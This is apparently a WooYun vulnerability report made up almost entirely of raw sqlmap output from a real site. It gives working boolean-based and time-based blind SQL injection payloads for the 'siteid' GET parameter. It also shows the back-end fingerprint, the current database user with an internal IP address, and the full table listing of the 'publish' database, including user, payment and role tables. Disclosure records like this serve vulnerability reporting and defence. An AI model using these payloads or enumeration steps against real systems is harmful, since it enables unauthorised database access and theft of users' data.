WooYun.org

Place: GET
Parameter: siteid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=12213&nodeid=1088&siteid=42 AND 2254=2254
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=12213&nodeid=1088&siteid=42 AND SLEEP(5)
---
[11:29:02] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5.0.11
publish@192.168.1.64
current user: 'publish@192.168.1.64'
Database: test
[4 tables]
+---------------------------------------+
| acl_class |
| acl_entry |
| acl_object_identity |
| acl_sid |
+---------------------------------------+
Database: information_schema
[28 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| KEY_COLUMN_USAGE |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
Database: publish
[177 tables]
+---------------------------------------+
| accessreading |
| accessreadtask |
| acl_class |
| acl_entry |
| acl_object_identity |
| acl_sid |
| activity |
| albums |
| applyschool |
| articleatt |
| articleatt_bak |
| articlevideo |
| associate |
| attach |
| attachement |
| attachement_bak |
| authorities |
| booksclass |
| bookspages |
| cartitem |
| cebresource |
| class_forum |
| classes |
| classmanage |
| contacts |
| contribute |
| contribute_agreement |
| contributeaudit |
| contributestate |
| course_count |
| course_count_user_info_list |
| coursemanage |
| datadict |
| depart |
| departtype |
| ebank |
| enplog |
| enpmember |
| experience |
| faq |
| faqtype |
| favorites |
| friend |
| infoclass |
| integraloperation |
| invoiceinfo |
| les_lesson_tachetype_resource_bak |
| les_lessons |
| les_lessons_bak |
| les_lessons_hour |
| les_lessons_tache_type |
| les_lessons_tache_type_bak |
| les_lessons_tache_type_tache |
| les_letatype_tache |
| les_resouce_queryset |
| les_tache |
| les_tachetype |
| lineitem |
| logs |
| logstype |
| mail |
| maillist |
| mailopera |
| mediaclass |
| member |
| memberclasses |
| memberdiscount |
| message |
| monograph |
| monotype |
| msg |
| newschool |
| newscomment |
| notice |
| orderacl |
| orders |
| org_user_res |
| org_user_res_price |
| pagelayout |
| pagelayouttmp |
| pagelayouttmp2 |
| pagelayouttmp3 |
| paper_periodical_rules |
| payinfo |
| paymentbill |
| personalclassinfo |
| photo |
| project_recruitment |
| pubcompany |
| q_money |
| rankvalues |
| releaselib |
| releaselib_bak |
| res_download_info |
| res_grade |
| res_integral_info |
| res_resource_type |
| res_subject |
| res_tag |
| res_version |
| resourceclass |
| resourcedownload |
| review |
| sch_school_info |
| school |
| score_c_s |
| sendorder |
| seq1 |
| sequencetable |
| shipmethod |
| shipmethodextend |
| signcontribute |
| siteinfo |
| ss_authority |
| ss_resource |
| ss_resource_authority |
| ss_role |
| ss_role_authority |
| ss_user |
| ss_user_role |
| subscribemail |
| subscribetype |
| thesis |
| thesistype |
| tmp20131101 |
| tra_answer |
| tra_apply |
| tra_c_s_t |
| tra_c_s_t_c |
| tra_certificate_template |
| tra_certificate_user |
| tra_course |
| tra_course_notice |
| tra_discuss_answer |
| tra_personalwork |
| tra_personalwork_attach |
| tra_question |
| tra_s_t_c |
| tra_syllabus |
| tra_syllabus_score |
| tra_syllabus_task |
| tra_talk |
| tra_task |
| tra_task_course |
| tra_template_input |
| tra_userinfo |
| typestruct |
| typestruct2 |
| ucenter_card_history |
| ucenter_card_info |
| user_rank |
| userpayinfo |
| users |
| usershipmethod |
| videoinfo |
| web_catalog |
| web_datasnip |
| web_dirextfilter |
| web_domain |
| web_domainexhibit |
| web_exhibitgroup |
| web_exhibititem |
| web_pubpage |
| web_resource |
| web_resourcetpl |
| web_rule |
| web_rulestruct |
| web_skin |
| web_skin_resource |
| web_skin_template |
| web_skin_templategroup |
| web_struct |
| web_structexhibit |
| web_template |
| web_templategroup |
| with_cc |
| with_cc_user_info_list |
+---------------------------------------+